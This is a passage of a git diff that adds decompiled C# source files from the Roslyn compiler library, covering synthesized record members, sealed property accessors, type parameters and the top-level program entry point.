BoundParameter builder, string value) + { + return F.ExpressionStatement(F.Call(builder, F.WellKnownMethod((WellKnownMember)464), F.StringLiteral(value))); + } + } + + internal static void VerifyOverridesPrintMembersFromBase(MethodSymbol overriding, BindingDiagnosticBag diagnostics) + { + NamedTypeSymbol baseTypeNoUseSiteDiagnostics = overriding.ContainingType.BaseTypeNoUseSiteDiagnostics; + if (baseTypeNoUseSiteDiagnostics.IsObjectType()) + { + return; + } + bool flag = false; + if (!overriding.IsOverride) + { + flag = true; + } + else + { + MethodSymbol overriddenMethod = overriding.OverriddenMethod; + if ((object)overriddenMethod != null && !overriddenMethod.ContainingType.Equals(baseTypeNoUseSiteDiagnostics, (TypeCompareKind)63)) + { + flag = true; + } + } + if (flag) + { + diagnostics.Add(ErrorCode.ERR_DoesNotOverrideBaseMethod, overriding.GetFirstLocation(), overriding, baseTypeNoUseSiteDiagnostics); + } + } + + private static bool IsReadOnly(NamedTypeSymbol containingType, IEnumerable userDefinedMembers) + { + if (!containingType.IsReadOnly) + { + if (containingType.IsRecordStruct) + { + return AreAllPrintablePropertyGettersReadOnly(userDefinedMembers); + } + return false; + } + return true; + } + + private static bool AreAllPrintablePropertyGettersReadOnly(IEnumerable members) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Invalid comparison between Unknown and I4 + foreach (Symbol member in members) + { + if ((int)member.Kind != 15) + { + continue; + } + PropertySymbol propertySymbol = (PropertySymbol)member; + if (IsPublicInstanceMember(propertySymbol) && IsPrintableProperty(propertySymbol)) + { + MethodSymbol getMethod = propertySymbol.GetMethod; + if ((object)propertySymbol.GetMethod != null && !getMethod.IsEffectivelyReadOnly) + { + return false; + } + } + } + return true; + } + + private static bool IsPublicInstanceMember(Symbol m) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if ((int)m.DeclaredAccessibility == 6) + { + return !m.IsStatic; + } + return false; + } + + private static bool IsPrintableProperty(PropertySymbol property) + { + if (!property.IsIndexer && !property.IsOverride) + { + return (object)property.GetMethod != null; + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordPropertySymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordPropertySymbol.cs new file mode 100644 index 0000000..615af5f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordPropertySymbol.cs @@ -0,0 +1,68 @@ +using System; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Syntax; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedRecordPropertySymbol : SourcePropertySymbolBase +{ + public SourceParameterSymbol BackingParameter { get; } + + public override IAttributeTargetSymbol AttributesOwner => (BackingParameter as IAttributeTargetSymbol) ?? this; + + protected override Location TypeLocation => ((SyntaxNode)((ParameterSyntax)base.CSharpSyntaxNode).Type).Location; + + public override SyntaxList AttributeDeclarationSyntaxList => BackingParameter.AttributeDeclarationList; + + public SynthesizedRecordPropertySymbol(SourceMemberContainerTypeSymbol containingType, CSharpSyntaxNode syntax, ParameterSymbol backingParameter, bool isOverride, BindingDiagnosticBag diagnostics) + : base(containingType, syntax, hasGetAccessor: true, hasSetAccessor: true, isExplicitInterfaceImplementation: false, null, null, (DeclarationModifiers)(0x10 | (isOverride ? 262144 : 0)), hasInitializer: true, isAutoProperty: true, isExpressionBodied: false, ShouldUseInit(containingType), (RefKind)0, backingParameter.Name, default(SyntaxList), backingParameter.GetFirstLocation(), diagnostics) + { + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + BackingParameter = (SourceParameterSymbol)backingParameter; + } + + protected override SourcePropertyAccessorSymbol CreateGetAccessorSymbol(bool isAutoPropertyAccessor, BindingDiagnosticBag diagnostics) + { + return CreateAccessorSymbol(isGet: true, base.CSharpSyntaxNode, diagnostics); + } + + protected override SourcePropertyAccessorSymbol CreateSetAccessorSymbol(bool isAutoPropertyAccessor, BindingDiagnosticBag diagnostics) + { + return CreateAccessorSymbol(isGet: false, base.CSharpSyntaxNode, diagnostics); + } + + private static bool ShouldUseInit(TypeSymbol container) + { + if (container.IsStructType()) + { + return container.IsReadOnly; + } + return true; + } + + private SourcePropertyAccessorSymbol CreateAccessorSymbol(bool isGet, CSharpSyntaxNode syntax, BindingDiagnosticBag diagnostics) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + bool usesInit = !isGet && ShouldUseInit(ContainingType); + NamedTypeSymbol containingType = ContainingType; + DeclarationModifiers modifiers = _modifiers; + SyntaxToken identifier = ((ParameterSyntax)syntax).Identifier; + return SourcePropertyAccessorSymbol.CreateAccessorSymbol(isGet, usesInit, containingType, this, modifiers, ((SyntaxToken)(ref identifier)).GetLocation(), syntax, diagnostics); + } + + protected override (TypeWithAnnotations Type, ImmutableArray Parameters) MakeParametersAndBindType(BindingDiagnosticBag diagnostics) + { + return (Type: BackingParameter.TypeWithAnnotations, Parameters: ImmutableArray.Empty); + } + + public static bool HaveCorrespondingSynthesizedRecordPropertySymbol(SourceParameterSymbol parameter) + { + if (parameter.ContainingSymbol is SynthesizedPrimaryConstructor) + { + return ImmutableArrayExtensions.Any(parameter.ContainingType.GetMembersUnordered(), (Func)((Symbol s, SourceParameterSymbol sourceParameterSymbol) => (object)(s as SynthesizedRecordPropertySymbol)?.BackingParameter == sourceParameterSymbol), parameter); + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordToString.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordToString.cs new file mode 100644 index 0000000..e1ef291 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordToString.cs @@ -0,0 +1,63 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedRecordToString : SynthesizedRecordObjectMethod +{ + private readonly MethodSymbol _printMethod; + + protected override SpecialMember OverriddenSpecialMember => (SpecialMember)100; + + public SynthesizedRecordToString(SourceMemberContainerTypeSymbol containingType, MethodSymbol printMethod, int memberOffset) + : base(containingType, "ToString", memberOffset, printMethod.IsEffectivelyReadOnly) + { + _printMethod = printMethod; + } + + protected override (TypeWithAnnotations ReturnType, ImmutableArray Parameters) MakeParametersAndBindReturnType(BindingDiagnosticBag diagnostics) + { + CSharpCompilation declaringCompilation = DeclaringCompilation; + Location returnTypeLocation = ReturnTypeLocation; + return (ReturnType: TypeWithAnnotations.Create(nullableAnnotation: ContainingType.IsRecordStruct ? NullableAnnotation.Oblivious : NullableAnnotation.NotAnnotated, typeSymbol: Binder.GetSpecialType(declaringCompilation, (SpecialType)20, returnTypeLocation, diagnostics)), Parameters: ImmutableArray.Empty); + } + + protected override int GetParameterCountFromSyntax() + { + return 0; + } + + internal override void GenerateMethodBody(TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + SyntheticBoundNodeFactory syntheticBoundNodeFactory = new SyntheticBoundNodeFactory(this, (SyntaxNode)(object)SyntaxNode, compilationState, diagnostics); + try + { + _ = ContainingType.DeclaringCompilation; + NamedTypeSymbol type = syntheticBoundNodeFactory.WellKnownType((WellKnownType)309); + MethodSymbol ctor = syntheticBoundNodeFactory.WellKnownMethod((WellKnownMember)467); + LocalSymbol localSymbol = syntheticBoundNodeFactory.SynthesizedLocal(type, null, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)(-2)); + BoundLocal boundLocal = syntheticBoundNodeFactory.Local(localSymbol); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + instance.Add((BoundStatement)syntheticBoundNodeFactory.Assignment(boundLocal, syntheticBoundNodeFactory.New(ctor))); + instance.Add(makeAppendString(syntheticBoundNodeFactory, boundLocal, ContainingType.Name)); + instance.Add(makeAppendString(syntheticBoundNodeFactory, boundLocal, " { ")); + instance.Add(syntheticBoundNodeFactory.If(syntheticBoundNodeFactory.Call(syntheticBoundNodeFactory.This(), _printMethod, boundLocal), makeAppendChar(syntheticBoundNodeFactory, boundLocal, ' '))); + instance.Add(makeAppendChar(syntheticBoundNodeFactory, boundLocal, '}')); + instance.Add((BoundStatement)syntheticBoundNodeFactory.Return(syntheticBoundNodeFactory.Call(boundLocal, syntheticBoundNodeFactory.SpecialMethod((SpecialMember)100)))); + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.Block(ImmutableArray.Create(localSymbol), instance.ToImmutableAndFree())); + } + catch (SyntheticBoundNodeFactory.MissingPredefinedMember missingPredefinedMember) + { + ((BindingDiagnosticBag)diagnostics).Add(missingPredefinedMember.Diagnostic); + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.ThrowNull()); + } + static BoundStatement makeAppendChar(SyntheticBoundNodeFactory F, BoundLocal builder, char value) + { + return F.ExpressionStatement(F.Call(builder, F.WellKnownMethod((WellKnownMember)465), F.CharLiteral(value))); + } + static BoundStatement makeAppendString(SyntheticBoundNodeFactory F, BoundLocal builder, string value) + { + return F.ExpressionStatement(F.Call(builder, F.WellKnownMethod((WellKnownMember)464), F.StringLiteral(value))); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedSealedPropertyAccessor.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedSealedPropertyAccessor.cs new file mode 100644 index 0000000..daf00f3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedSealedPropertyAccessor.cs @@ -0,0 +1,172 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Reflection; +using Microsoft.Cci; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedSealedPropertyAccessor : SynthesizedInstanceMethodSymbol +{ + private readonly PropertySymbol _property; + + private readonly MethodSymbol _overriddenAccessor; + + private readonly ImmutableArray _parameters; + + internal override bool SynthesizesLoweredBoundBody => true; + + internal override bool GenerateDebugInfo => false; + + protected sealed override bool HasSetsRequiredMembersImpl + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Compiler/MethodBodySynthesizer.Lowered.cs", 294); + } + } + + internal MethodSymbol OverriddenAccessor => _overriddenAccessor; + + public override Symbol ContainingSymbol => _property.ContainingType; + + public override ImmutableArray Locations => ImmutableArray.Empty; + + public override Accessibility DeclaredAccessibility + { + get + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Invalid comparison between Unknown and I4 + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + Accessibility declaredAccessibility = _overriddenAccessor.DeclaredAccessibility; + if ((int)declaredAccessibility != 2) + { + if ((int)declaredAccessibility == 5 && !ContainingAssembly.HasInternalAccessTo(_overriddenAccessor.ContainingAssembly)) + { + return (Accessibility)3; + } + } + else if (!ContainingAssembly.HasInternalAccessTo(_overriddenAccessor.ContainingAssembly)) + { + return (Accessibility)1; + } + return declaredAccessibility; + } + } + + public override bool IsStatic => false; + + public override bool IsAsync => false; + + public override bool IsVirtual => false; + + internal override CallingConvention CallingConvention => _overriddenAccessor.CallingConvention; + + public override MethodKind MethodKind => _overriddenAccessor.MethodKind; + + public override int Arity => 0; + + public override bool IsExtensionMethod => false; + + public override bool HidesBaseMethodsByName => false; + + public override bool IsVararg => _overriddenAccessor.IsVararg; + + public override bool ReturnsVoid => _overriddenAccessor.ReturnsVoid; + + public override RefKind RefKind => _overriddenAccessor.RefKind; + + public override TypeWithAnnotations ReturnTypeWithAnnotations => _overriddenAccessor.ReturnTypeWithAnnotations; + + public override FlowAnalysisAnnotations ReturnTypeFlowAnalysisAnnotations => FlowAnalysisAnnotations.None; + + public override ImmutableHashSet ReturnNotNullIfParameterNotNull => ImmutableHashSet.Empty; + + public override ImmutableArray TypeArgumentsWithAnnotations => ImmutableArray.Empty; + + public override ImmutableArray TypeParameters => ImmutableArray.Empty; + + public override ImmutableArray Parameters => _parameters; + + internal override bool IsExplicitInterfaceImplementation => false; + + public override ImmutableArray ExplicitInterfaceImplementations => ImmutableArray.Empty; + + public override ImmutableArray RefCustomModifiers => _overriddenAccessor.RefCustomModifiers; + + public override Symbol AssociatedSymbol => _property; + + public override bool IsOverride => true; + + public override bool IsAbstract => false; + + public override bool IsSealed => true; + + public override bool IsExtern => false; + + public override string Name => _overriddenAccessor.Name; + + internal override bool HasSpecialName => true; + + internal override MethodImplAttributes ImplementationAttributes => MethodImplAttributes.IL; + + internal override bool IsMetadataFinal => true; + + internal override bool RequiresSecurityObject => false; + + internal override MarshalPseudoCustomAttributeData ReturnValueMarshallingInformation => null; + + internal override bool HasDeclarativeSecurity => false; + + internal override void GenerateMethodBody(TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + SyntheticBoundNodeFactory syntheticBoundNodeFactory = new SyntheticBoundNodeFactory(this, (SyntaxNode)(object)this.GetNonNullSyntaxNode(), compilationState, diagnostics); + syntheticBoundNodeFactory.CurrentFunction = OriginalDefinition; + try + { + syntheticBoundNodeFactory.CloseMethod(MethodBodySynthesizer.ConstructSingleInvocationMethodBody(syntheticBoundNodeFactory, OverriddenAccessor, useBaseReference: true)); + } + catch (SyntheticBoundNodeFactory.MissingPredefinedMember missingPredefinedMember) + { + ((BindingDiagnosticBag)diagnostics).Add(missingPredefinedMember.Diagnostic); + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.ThrowNull()); + } + } + + public SynthesizedSealedPropertyAccessor(PropertySymbol property, MethodSymbol overriddenAccessor) + { + _property = property; + _overriddenAccessor = overriddenAccessor; + _parameters = SynthesizedParameterSymbol.DeriveParameters(overriddenAccessor, this); + } + + internal sealed override bool IsMetadataVirtual(bool ignoreInterfaceImplementationChanges = false) + { + return true; + } + + internal sealed override bool IsMetadataNewSlot(bool ignoreInterfaceImplementationChanges = false) + { + return false; + } + + public override DllImportData GetDllImportData() + { + return null; + } + + internal override IEnumerable GetSecurityInformation() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/SynthesizedSealedPropertyAccessor.cs", 353); + } + + internal override ImmutableArray GetAppliedConditionalSymbols() + { + return ImmutableArray.Empty; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedSimpleMethodTypeParameterSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedSimpleMethodTypeParameterSymbol.cs new file mode 100644 index 0000000..ab37bf5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedSimpleMethodTypeParameterSymbol.cs @@ -0,0 +1,88 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedSimpleMethodTypeParameterSymbol : TypeParameterSymbol +{ + private readonly MethodSymbol _container; + + private readonly int _ordinal; + + private readonly string _name; + + public override string Name => _name; + + public override int Ordinal => _ordinal; + + public override TypeParameterKind TypeParameterKind => (TypeParameterKind)1; + + public override bool HasConstructorConstraint => false; + + public override bool HasReferenceTypeConstraint => false; + + public override bool IsReferenceTypeFromConstraintTypes => false; + + internal override bool? ReferenceTypeConstraintIsNullable => false; + + public override bool HasNotNullConstraint => false; + + internal override bool? IsNotNullable => null; + + public override bool HasValueTypeConstraint => false; + + public override bool IsValueTypeFromConstraintTypes => false; + + public override bool HasUnmanagedTypeConstraint => false; + + public override VarianceKind Variance => (VarianceKind)0; + + public override Symbol ContainingSymbol => _container; + + public override ImmutableArray Locations + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SynthesizedSimpleMethodTypeParameterSymbol.cs", 93); + } + } + + public override ImmutableArray DeclaringSyntaxReferences + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SynthesizedSimpleMethodTypeParameterSymbol.cs", 98); + } + } + + public SynthesizedSimpleMethodTypeParameterSymbol(MethodSymbol container, int ordinal, string name) + { + _container = container; + _ordinal = ordinal; + _name = name; + } + + internal override void EnsureAllConstraintsAreResolved() + { + } + + internal override ImmutableArray GetConstraintTypes(ConsList inProgress) + { + return ImmutableArray.Empty; + } + + internal override ImmutableArray GetInterfaces(ConsList inProgress) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SynthesizedSimpleMethodTypeParameterSymbol.cs", 112); + } + + internal override NamedTypeSymbol GetEffectiveBaseClass(ConsList inProgress) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SynthesizedSimpleMethodTypeParameterSymbol.cs", 117); + } + + internal override TypeSymbol GetDeducedBaseType(ConsList inProgress) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SynthesizedSimpleMethodTypeParameterSymbol.cs", 122); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedSimpleProgramEntryPointSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedSimpleProgramEntryPointSymbol.cs new file mode 100644 index 0000000..7641ed2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedSimpleProgramEntryPointSymbol.cs @@ -0,0 +1,232 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Reflection; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedSimpleProgramEntryPointSymbol : SourceMemberMethodSymbol +{ + private readonly SingleTypeDeclaration _declaration; + + private readonly TypeSymbol _returnType; + + private readonly ImmutableArray _parameters; + + private WeakReference? _weakBodyBinder; + + private WeakReference? _weakIgnoreAccessibilityBodyBinder; + + public override string Name => "
$"; + + internal override MethodImplAttributes ImplementationAttributes => MethodImplAttributes.IL; + + public override ImmutableArray TypeParameters => ImmutableArray.Empty; + + internal override int ParameterCount => 1; + + public override ImmutableArray Parameters => _parameters; + + public override TypeWithAnnotations ReturnTypeWithAnnotations => TypeWithAnnotations.Create(_returnType); + + public override FlowAnalysisAnnotations ReturnTypeFlowAnalysisAnnotations => FlowAnalysisAnnotations.None; + + public override ImmutableHashSet ReturnNotNullIfParameterNotNull => ImmutableHashSet.Empty; + + public override FlowAnalysisAnnotations FlowAnalysisAnnotations => FlowAnalysisAnnotations.None; + + public override ImmutableArray RefCustomModifiers => ImmutableArray.Empty; + + public sealed override bool IsImplicitlyDeclared => false; + + internal sealed override bool GenerateDebugInfo => true; + + protected override object MethodChecksLockObject => _declaration; + + internal CompilationUnitSyntax CompilationUnit => (CompilationUnitSyntax)SyntaxNode; + + public SyntaxNode ReturnTypeSyntax => (SyntaxNode)(object)((IEnumerable)(object)CompilationUnit.Members).First((MemberDeclarationSyntax m) => m.Kind() == SyntaxKind.GlobalStatement); + + internal SynthesizedSimpleProgramEntryPointSymbol(SourceMemberContainerTypeSymbol containingType, SingleTypeDeclaration declaration, BindingDiagnosticBag diagnostics) + : base(containingType, declaration.SyntaxReference, declaration.SyntaxReference.GetLocation(), declaration.IsIterator, MakeModifiersAndFlags(containingType, declaration)) + { + _declaration = declaration; + bool hasAwaitExpressions = declaration.HasAwaitExpressions; + bool hasReturnWithExpression = declaration.HasReturnWithExpression; + CSharpCompilation declaringCompilation = containingType.DeclaringCompilation; + if (hasAwaitExpressions) + { + if (!hasReturnWithExpression) + { + _returnType = Binder.GetWellKnownType(declaringCompilation, (WellKnownType)95, diagnostics, NoLocation.Singleton); + } + else + { + _returnType = Binder.GetWellKnownType(declaringCompilation, (WellKnownType)96, diagnostics, NoLocation.Singleton).Construct(Binder.GetSpecialType(declaringCompilation, (SpecialType)13, NoLocation.Singleton, diagnostics)); + } + } + else if (!hasReturnWithExpression) + { + _returnType = Binder.GetSpecialType(declaringCompilation, (SpecialType)6, NoLocation.Singleton, diagnostics); + } + else + { + _returnType = Binder.GetSpecialType(declaringCompilation, (SpecialType)13, NoLocation.Singleton, diagnostics); + } + _parameters = ImmutableArray.Create(SynthesizedParameterSymbol.Create(this, TypeWithAnnotations.Create(ArrayTypeSymbol.CreateCSharpArray(declaringCompilation.Assembly, TypeWithAnnotations.Create(Binder.GetSpecialType(declaringCompilation, (SpecialType)20, NoLocation.Singleton, diagnostics)))), 0, (RefKind)0, "args", (ScopedKind)0)); + } + + private static (DeclarationModifiers, Flags) MakeModifiersAndFlags(SourceMemberContainerTypeSymbol containingType, SingleTypeDeclaration declaration) + { + bool hasAwaitExpressions = declaration.HasAwaitExpressions; + bool hasReturnWithExpression = declaration.HasReturnWithExpression; + DeclarationModifiers declarationModifiers = (DeclarationModifiers)(0x104 | (hasAwaitExpressions ? 1048576 : 0)); + CSharpCompilation declaringCompilation = containingType.DeclaringCompilation; + CompilationUnitSyntax syntax = (CompilationUnitSyntax)(object)declaration.SyntaxReference.GetSyntax(default(CancellationToken)); + bool isNullableAnalysisEnabled = IsNullableAnalysisEnabled(declaringCompilation, syntax); + Flags item = SourceMemberMethodSymbol.MakeFlags((MethodKind)10, (RefKind)0, declarationModifiers, !hasAwaitExpressions && !hasReturnWithExpression, returnsVoidIsSet: true, isExpressionBodied: false, isExtensionMethod: false, isNullableAnalysisEnabled, isVarArg: false, isExplicitInterfaceImplementation: false); + return (declarationModifiers, item); + } + + internal static SynthesizedSimpleProgramEntryPointSymbol? GetSimpleProgramEntryPoint(CSharpCompilation compilation, CompilationUnitSyntax compilationUnit, bool fallbackToMainEntryPoint) + { + SourceNamedTypeSymbol simpleProgramNamedTypeSymbol = GetSimpleProgramNamedTypeSymbol(compilation); + if ((object)simpleProgramNamedTypeSymbol == null) + { + return null; + } + ImmutableArray simpleProgramEntryPoints = simpleProgramNamedTypeSymbol.GetSimpleProgramEntryPoints(); + ImmutableArray.Enumerator enumerator = simpleProgramEntryPoints.GetEnumerator(); + while (enumerator.MoveNext()) + { + SynthesizedSimpleProgramEntryPointSymbol current = enumerator.Current; + if (current.SyntaxTree == compilationUnit.SyntaxTree && current.SyntaxNode == compilationUnit) + { + return current; + } + } + if (!fallbackToMainEntryPoint) + { + return null; + } + return simpleProgramEntryPoints[0]; + } + + internal static SynthesizedSimpleProgramEntryPointSymbol? GetSimpleProgramEntryPoint(CSharpCompilation compilation) + { + return GetSimpleProgramNamedTypeSymbol(compilation)?.GetSimpleProgramEntryPoints().First(); + } + + private static SourceNamedTypeSymbol? GetSimpleProgramNamedTypeSymbol(CSharpCompilation compilation) + { + return compilation.SourceModule.GlobalNamespace.GetTypeMembers("Program").OfType().SingleOrDefault((SourceNamedTypeSymbol s) => s.IsSimpleProgram); + } + + internal override int CalculateLocalSyntaxOffset(int localPosition, SyntaxTree localTree) + { + return localPosition; + } + + protected override void MethodChecks(BindingDiagnosticBag diagnostics) + { + } + + public override ImmutableArray> GetTypeParameterConstraintTypes() + { + return ImmutableArray>.Empty; + } + + public override ImmutableArray GetTypeParameterConstraintKinds() + { + return ImmutableArray.Empty; + } + + internal override ExecutableCodeBinder TryGetBodyBinder(BinderFactory? binderFactoryOpt = null, bool ignoreAccessibility = false) + { + return GetBodyBinder(ignoreAccessibility); + } + + private ExecutableCodeBinder CreateBodyBinder(bool ignoreAccessibility) + { + CSharpCompilation declaringCompilation = DeclaringCompilation; + CSharpSyntaxNode syntaxNode = SyntaxNode; + Binder next = new BuckStopsHereBinder(declaringCompilation, FileIdentifier.Create(syntaxNode.SyntaxTree)); + NamespaceSymbol globalNamespace = declaringCompilation.GlobalNamespace; + SourceNamespaceSymbol declaringSymbol = (SourceNamespaceSymbol)declaringCompilation.SourceModule.GlobalNamespace; + next = WithExternAndUsingAliasesBinder.Create(declaringSymbol, syntaxNode, WithUsingNamespacesAndTypesBinder.Create(declaringSymbol, syntaxNode, next)); + next = new InContainerBinder(globalNamespace, next); + next = new InContainerBinder(ContainingType, next); + next = new InMethodBinder(this, next); + next = next.WithAdditionalFlags(ignoreAccessibility ? BinderFlags.IgnoreAccessibility : BinderFlags.None); + return new ExecutableCodeBinder((SyntaxNode)(object)syntaxNode, this, next); + } + + internal ExecutableCodeBinder GetBodyBinder(bool ignoreAccessibility) + { + ref WeakReference reference = ref ignoreAccessibility ? ref _weakIgnoreAccessibilityBodyBinder : ref _weakBodyBinder; + WeakReference weakReference; + ExecutableCodeBinder executableCodeBinder; + do + { + weakReference = reference; + if (weakReference != null && weakReference.TryGetTarget(out var target)) + { + return target; + } + executableCodeBinder = CreateBodyBinder(ignoreAccessibility); + } + while (Interlocked.CompareExchange(ref reference, new WeakReference(executableCodeBinder), weakReference) != weakReference); + return executableCodeBinder; + } + + public override bool IsDefinedInSourceTree(SyntaxTree tree, TextSpan? definedWithinSpan, CancellationToken cancellationToken) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + if (_declaration.SyntaxReference.SyntaxTree == tree) + { + if (!definedWithinSpan.HasValue) + { + return true; + } + TextSpan valueOrDefault = definedWithinSpan.GetValueOrDefault(); + foreach (GlobalStatementSyntax item in ((IEnumerable)(object)((CompilationUnitSyntax)(object)tree.GetRoot(cancellationToken)).Members).OfType()) + { + cancellationToken.ThrowIfCancellationRequested(); + TextSpan span = ((SyntaxNode)item).Span; + if (((TextSpan)(ref span)).IntersectsWith(valueOrDefault)) + { + return true; + } + } + } + return false; + } + + private static bool IsNullableAnalysisEnabled(CSharpCompilation compilation, CompilationUnitSyntax syntax) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + Enumerator enumerator = syntax.Members.GetEnumerator(); + while (enumerator.MoveNext()) + { + MemberDeclarationSyntax current = enumerator.Current; + if (current.Kind() == SyntaxKind.GlobalStatement && compilation.IsNullableAnalysisEnabledIn((SyntaxNode)(object)current)) + { + return true; + } + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedSpanSwitchHashMethod.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedSpanSwitchHashMethod.cs new file mode 100644 index 0000000..3fb558f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedSpanSwitchHashMethod.cs @@ -0,0 +1,38 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CodeGen; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedSpanSwitchHashMethod : SynthesizedGlobalMethodSymbol +{ + private readonly bool _isReadOnlySpan; + + internal override void GenerateMethodBody(TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + SyntheticBoundNodeFactory syntheticBoundNodeFactory = new SyntheticBoundNodeFactory(this, (SyntaxNode)(object)this.GetNonNullSyntaxNode(), compilationState, diagnostics); + syntheticBoundNodeFactory.CurrentFunction = this; + try + { + ParameterSymbol p = Parameters[0]; + NamedTypeSymbol newOwner = syntheticBoundNodeFactory.WellKnownType((WellKnownType)(_isReadOnlySpan ? 276 : 275)).Construct(syntheticBoundNodeFactory.SpecialType((SpecialType)8)); + LocalSymbol localSymbol = syntheticBoundNodeFactory.SynthesizedLocal(syntheticBoundNodeFactory.SpecialType((SpecialType)13), null, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)(-2)); + LocalSymbol localSymbol2 = syntheticBoundNodeFactory.SynthesizedLocal(syntheticBoundNodeFactory.SpecialType((SpecialType)14), null, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)(-2)); + LabelSymbol label = syntheticBoundNodeFactory.GenerateLabel("again"); + LabelSymbol label2 = syntheticBoundNodeFactory.GenerateLabel("start"); + BoundBlock body = syntheticBoundNodeFactory.Block(ImmutableArray.Create(localSymbol2, localSymbol), syntheticBoundNodeFactory.Assignment(syntheticBoundNodeFactory.Local(localSymbol2), syntheticBoundNodeFactory.Literal(2166136261u)), 